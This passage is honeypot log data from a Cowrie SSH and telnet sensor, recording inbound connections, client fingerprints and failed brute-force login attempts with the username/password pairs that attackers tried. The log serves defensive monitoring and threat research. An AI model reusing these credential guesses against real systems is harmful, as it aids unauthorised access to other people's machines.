{"eventid":"cowrie.session.connect","src_ip":"192.169.202.129","src_port":57010,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3ab14877828","protocol":"ssh","message":"New connection: 192.169.202.129:57010 (10.17.0.5:22) [session: d3ab14877828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:13.842625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:13.846774Z","src_ip":"192.169.202.129","session":"d3ab14877828","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:13.928516Z","src_ip":"192.169.202.129","session":"d3ab14877828","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arweave","password":"arweave123","message":"login attempt [arweave/arweave123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:14.126667Z","src_ip":"192.169.202.129","session":"d3ab14877828","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.1.118","src_port":53890,"dst_ip":"159.203.135.109","dst_port":22,"session":"97be8342890f","protocol":"ssh","message":"New connection: 223.17.1.118:53890 (159.203.135.109:22) [session: 97be8342890f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:14.953096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:14.957545Z","src_ip":"223.17.1.118","session":"97be8342890f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:15.171399Z","src_ip":"223.17.1.118","session":"97be8342890f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:15.193005Z","src_ip":"192.169.202.129","session":"d3ab14877828","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"secret","message":"login attempt [ubuntu/secret] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:16.060909Z","src_ip":"223.17.1.118","session":"97be8342890f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.201.12","src_port":36192,"dst_ip":"159.203.135.109","dst_port":22,"session":"87bd47863577","protocol":"ssh","message":"New connection: 161.248.201.12:36192 (159.203.135.109:22) [session: 87bd47863577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:16.139871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:16.145224Z","src_ip":"161.248.201.12","session":"87bd47863577","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:16.400352Z","src_ip":"161.248.201.12","session":"87bd47863577","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:17.277306Z","src_ip":"223.17.1.118","session":"97be8342890f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc,123","message":"login attempt [root/abc,123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:17.450234Z","src_ip":"161.248.201.12","session":"87bd47863577","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:18.708583Z","src_ip":"161.248.201.12","session":"87bd47863577","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.88.212","src_port":59652,"dst_ip":"159.203.135.109","dst_port":22,"session":"0912d0fb23fc","protocol":"ssh","message":"New connection: 167.86.88.212:59652 (159.203.135.109:22) [session: 0912d0fb23fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:21.390526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:21.394916Z","src_ip":"167.86.88.212","session":"0912d0fb23fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:21.489239Z","src_ip":"167.86.88.212","session":"0912d0fb23fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cisco@12345","message":"login attempt [root/cisco@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:21.889751Z","src_ip":"167.86.88.212","session":"0912d0fb23fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:22.985031Z","src_ip":"167.86.88.212","session":"0912d0fb23fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":57540,"dst_ip":"159.203.135.109","dst_port":22,"session":"4645ab0a3aff","protocol":"ssh","message":"New connection: 2.57.122.238:57540 (159.203.135.109:22) [session: 4645ab0a3aff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:28.836493Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:28.942324Z","src_ip":"2.57.122.238","session":"4645ab0a3aff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":52120,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ea336a11aa1","protocol":"ssh","message":"New connection: 91.92.40.4:52120 (10.17.0.5:22) [session: 1ea336a11aa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:44.043977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:44.068214Z","src_ip":"91.92.40.4","session":"1ea336a11aa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:44.130855Z","src_ip":"91.92.40.4","session":"1ea336a11aa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"test123","message":"login attempt [postgres/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:44.461205Z","src_ip":"91.92.40.4","session":"1ea336a11aa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:45.545299Z","src_ip":"91.92.40.4","session":"1ea336a11aa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.160.226.51","src_port":35602,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ec498670abf","protocol":"ssh","message":"New connection: 217.160.226.51:35602 (159.203.135.109:22) [session: 4ec498670abf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:50.498878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:50.502583Z","src_ip":"217.160.226.51","session":"4ec498670abf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:50.618071Z","src_ip":"217.160.226.51","session":"4ec498670abf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"password1234","message":"login attempt [guest/password1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:51.100091Z","src_ip":"217.160.226.51","session":"4ec498670abf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:52.215068Z","src_ip":"217.160.226.51","session":"4ec498670abf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.3450653553009,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:47:04.336547Z","src_ip":"170.64.224.25","session":"3b56b37fda19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41038,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbf24f950200","protocol":"telnet","message":"New connection: 170.64.224.25:41038 (159.203.135.109:23) [session: cbf24f950200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:47:12.217074Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41054,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4dc30b47e7a","protocol":"telnet","message":"New connection: 170.64.224.25:41054 (159.203.135.109:23) [session: f4dc30b47e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:47:17.473994Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38774,"dst_ip":"159.203.135.109","dst_port":23,"session":"58243f438e78","protocol":"telnet","message":"New connection: 170.64.224.25:38774 (159.203.135.109:23) [session: 58243f438e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:47:24.496440Z"}
{"eventid":"cowrie.session.closed","duration":12.644933938980103,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:47:37.141248Z","src_ip":"170.64.224.25","session":"58243f438e78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.202","src_port":57102,"dst_ip":"10.17.0.5","dst_port":22,"session":"cce6387baa76","protocol":"ssh","message":"New connection: 162.241.239.202:57102 (10.17.0.5:22) [session: cce6387baa76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:47:38.568334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:47:38.573340Z","src_ip":"162.241.239.202","session":"cce6387baa76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:47:38.604989Z","src_ip":"162.241.239.202","session":"cce6387baa76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"skale","password":"skale123","message":"login attempt [skale/skale123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:47:38.690124Z","src_ip":"162.241.239.202","session":"cce6387baa76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:47:39.720026Z","src_ip":"162.241.239.202","session":"cce6387baa76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":41192,"dst_ip":"159.203.135.109","dst_port":22,"session":"da438eb0de6a","protocol":"ssh","message":"New connection: 103.27.238.116:41192 (159.203.135.109:22) [session: da438eb0de6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:47:44.422060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:47:44.425464Z","src_ip":"103.27.238.116","session":"da438eb0de6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:47:44.688556Z","src_ip":"103.27.238.116","session":"da438eb0de6a","protocol":"ssh"}
